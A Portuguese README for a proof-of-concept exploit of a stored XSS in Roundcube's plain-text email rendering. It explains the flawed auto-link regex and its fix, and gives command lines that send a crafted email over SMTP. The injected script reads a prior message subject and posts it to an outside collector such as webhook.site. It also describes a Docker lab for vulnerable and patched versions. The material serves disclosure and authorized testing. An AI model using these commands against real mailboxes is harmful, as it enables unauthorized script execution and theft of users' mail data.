
PoC em Python configurável para CVE-2026-54433, um XSS armazenado no renderizador de e-mail em texto simples do Roundcube. Gera arquivos .eml personalizados, envia via SMTP e valida o impacto em um laboratório Docker.

Este repositório contém uma prova de conceito (PoC) em Python configurável para a CVE-2026-54433, uma vulnerabilidade de cross-site scripting armazenado no renderizador de e-mails de texto simples do Roundcube. Um remetente não autenticado pode entregar uma mensagem text/plain especialmente elaborada. Quando um usuário autenticado do Roundcube abre ou visualiza a mensagem, o JavaScript controlado pelo atacante é executado na origem do Roundcube.
A PoC demonstra impacto concreto em sessão autenticada sem coletar cookies ou corpos de mensagens: ela lê o assunto de uma mensagem mais antiga e envia esse valor, a origem do Roundcube e o nome da tarefa a um coletor autorizado como campos POST codificados em URL.
Aviso
Este é um código de exploit ativo. Use-o somente em um laboratório que você possua ou contra um sistema e uma caixa de correio que você tenha autorização explícita para testar. O modo de envio transmite um e-mail especialmente elaborado e pode revelar um assunto pré-existente ao coletor. Use
--generate-onlypara inspeção offline.
O Roundcube converte endereços encontrados em mensagens de texto simples em links mailto: clicáveis. Nas versões afetadas, o sufixo de consulta opcional era correspondido com :
\S+. '(\?\S+)?'
Como \S inclui < e >, uma string que começa como um endereço de e-mail podia fazer com que a substituição do auto-link consumisse uma tag HTML de abertura, deixando o restante para ser interpretado como marcação. Esta forma mínima ilustra o primitivo:
A correção upstream restringe o sufixo de consulta para que ele não possa conter colchetes angulares nem espaços em branco:
. '(\?[^<>\s]+)?'
O fornecedor descreve o problema como "zero-click" porque nenhum clique em link é necessário. Abrir ou visualizar o e-mail enquanto autenticado continua sendo a ação do cliente de e-mail que renderiza o payload.
| Linha de versão | Status |
|---|---|
| Versões do Roundcube anteriores a 1.6.17 | Afetadas |
| Roundcube 1.6.17 e versões 1.6.x posteriores | Corrigidas |
| Roundcube 1.7.0 e 1.7.1 | Afetadas |
| Roundcube 1.7.2 e versões posteriores | Corrigidas |
Os commits públicos de correção são:
5477e979aae0317e111564bfc9971ba7707cc1654c278f4868c67b163567cae3d74e58d872913459Atualize para o Roundcube 1.6.17 / 1.7.2 ou uma versão suportada mais recente.
text/plain.src relativo que falha para invocar onerror. Um callback do coletor ainda requer conectividade de rede do navegador.HttpOnly. Esta PoC não tenta lê-lo. Sua requisição de mesma origem usa automaticamente a sessão autenticada, e o assunto de uma mensagem separada é a prova de impacto.O resultado demonstrado é a execução de JavaScript autenticado e o acesso de leitura ao assunto de um e-mail anterior. Assunção de conta, roubo arbitrário de corpos de mensagens e execução de código no servidor não são reivindicados por este repositório.
cve-2026-54433-poc.py é autocontido e usa apenas a biblioteca padrão do Python. Ele:
text/plain RFC 5322 comum e especialmente elaborado;CVE-2026-54433;subject, origin e task para /capture/<random-marker>;O payload insere o comentário DOM:
<!-- This is a BugBounty test; only one subject is copied as evidence -->
Ele também oculta o fragmento de endereço com auto-link e o indicador de imagem quebrada, exibindo o corpo benigno fornecido pelo chamador.
Gere o e-mail sem fazer uma conexão de rede:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
Isso grava:
cve-2026-54433-trigger.emlcve-2026-54433-evidence.jsonInspecione a mensagem gerada antes de usar o modo de envio.
O valor de --collector pode ser um UUID do Webhook.site, uma URL de captura ou uma URL #!/view/. O script deriva os endpoints de captura e de polling.
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
Se SMTP_PASSWORD estiver ausente, o script solicita a senha sem ecoá-la ou armazená-la. Uma variável com outro nome pode ser selecionada com --smtp-password-env NAME. Evite --smtp-password em sistemas multiusuário porque os argumentos de linha de comando podem ficar visíveis em listagens de processos ou no histórico do shell.
O script solicita um YES explícito antes de enviar. Em automação de laboratório não interativa e já autorizada, use --yes. Ele aguarda até 24 horas por um callback por padrão; use --timeout SECONDS para alterar isso.
Para um coletor que não seja o Webhook.site, informe a base de captura e o endpoint de status JSON opcional:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls
O collector.py incluído implementa os endpoints compatíveis /capture/<marker> e /status. Ele se vincula ao loopback por padrão. A implantação real com HTTPS e o controle de acesso ficam intencionalmente a cargo do testador autorizado.
O laboratório não tem portas de host publicadas e contém apenas mensagens sintéticas. Ele usa a mesma PoC em Python para gerar o gatilho, entrega ambas as mensagens em uma caixa de correio Dovecot descartável, faz login por meio de um navegador headless descartável e registra se o handler injetado leu o assunto anterior.
Requisitos: Docker, Python 3, OpenSSL e jq.
Teste vulnerável:
./lab/run.sh
Controle corrigido:
ROUNDCUBE_IMAGE=roundcube/roundcubemail:1.7.3-apache \
ROUNDCUBE_VERSION=1.7.3 EXPECTED_RESULT=NOT_CONFIRMED \
./lab/run.sh
Para uma demonstração em vídeo ou com navegador ao vivo, execute:
./lab/demo.sh
Ele publica o Roundcube e o coletor visual somente no loopback. Abra as duas URLs impressas pelo script, mostre o coletor inicialmente vazio, faça login usando as credenciais sintéticas impressas, clique no e-mail de gatilho e volte ao coletor. O assunto sintético capturado aparece em uma tabela com atualização automática. Ctrl-C remove os contêineres e a rede descartáveis.
Para gravar a interação do navegador e um callback real do Webhook.site, use o gravador reproduzível. Ele requer Chrome, Xvfb, ffmpeg, Docker e um token autorizado do Webhook.site fornecido pelo ambiente:
WEBHOOK_TOKEN='REPLACE-WITH-UUID' ./record-browser-demo.sh
O MP4 resultante mostra a linha visível do gatilho no Roundcube, um clique de mouse anotado e o Webhook.site exibindo o assunto sintético recebido. O token nunca é armazenado na árvore de fontes.
Artefato gravado: assets/CVE-2026-54433-webhook-demo.mp4
A gravação inclui um painel de terminal visível mostrando a invocação Python somente de geração, sua saída de geração de payload, o clique no Roundcube e a requisição resultante ao Webhook.site.
A demonstração visual também aceita COLLECTOR_URL e COLLECTOR_VIEW_URL; aponte ambos para um token autorizado do Webhook.site para mostrar o coletor real recebendo o assunto sintético. Não reutilize um token que contenha requisições não relacionadas.
A comparação de ponta a ponta foi executada em 14/08/2026 em Linux x86-64 com Docker:
| Controle | Digest da imagem | Handler injetado | Assunto anterior enviado | Resultado |
|---|---|---|---|---|
| Roundcube 1.7.1 Apache | sha256:15866e72c583a7c0117c94d515c366946b20157569d65ef9c24dca6026663b1f | eval(name) presente | Sim, POST codificado em URL | CONFIRMED |
| Roundcube 1.7.3 Apache | sha256:ddf0e11b5afdbbc615e1d43a1cc9743fc44423e6c21fc93f7dd5dfaa20289ad6 | Ausente; marcação escapada | Nenhum callback | NOT_CONFIRMED |
Corpo do callback positivo (valor sintético, origem sanitizada):
subject=Existing+private+subject+2026&origin=http%3A%2F%2Froundcube.example.test&task=mail
A comparação estruturada e sanitizada está em docs/e2e-results.json.
A verificação offline compila as fontes Python, gera um .eml novo e verifica seu tipo MIME, o primitivo do payload, o corpo visível, o comentário e os metadados:
./verify.sh
Defina RUN_DOCKER=1 para acrescentar ambos os controles Docker de ponta a ponta:
RUN_DOCKER=1 ./verify.sh
Em 14/08/2026, buscas direcionadas por CVE-2026-54433 no GitHub, no Exploit-Database e no Packet Storm não localizaram um exploit de envio de e-mail validado e configurável com uma comparação vulnerável/corrigida de ponta a ponta. Entradas do fornecedor e de bancos de dados de vulnerabilidades, discussões sobre templates de scanner e artigos descritivos já existiam. Este é um snapshot de busca datado, não uma afirmação de que nenhuma outra PoC possa existir.
Descoberta da vulnerabilidade: Bohdan Kurinnoy, Samsung R&D Institute Ukraine (SRUKR), conforme creditado pelo Roundcube.
Pesquisa, validação de impacto e implementação do exploit: A. Ramos <[email protected]> (Twitter: @aramosf).
PoC de XSS armazenado em e-mail de texto simples do Roundcube para a CVE-2026-54433, com evidência limitada de assunto de caixa de correio autenticada e um laboratório Docker vulnerável/corrigido.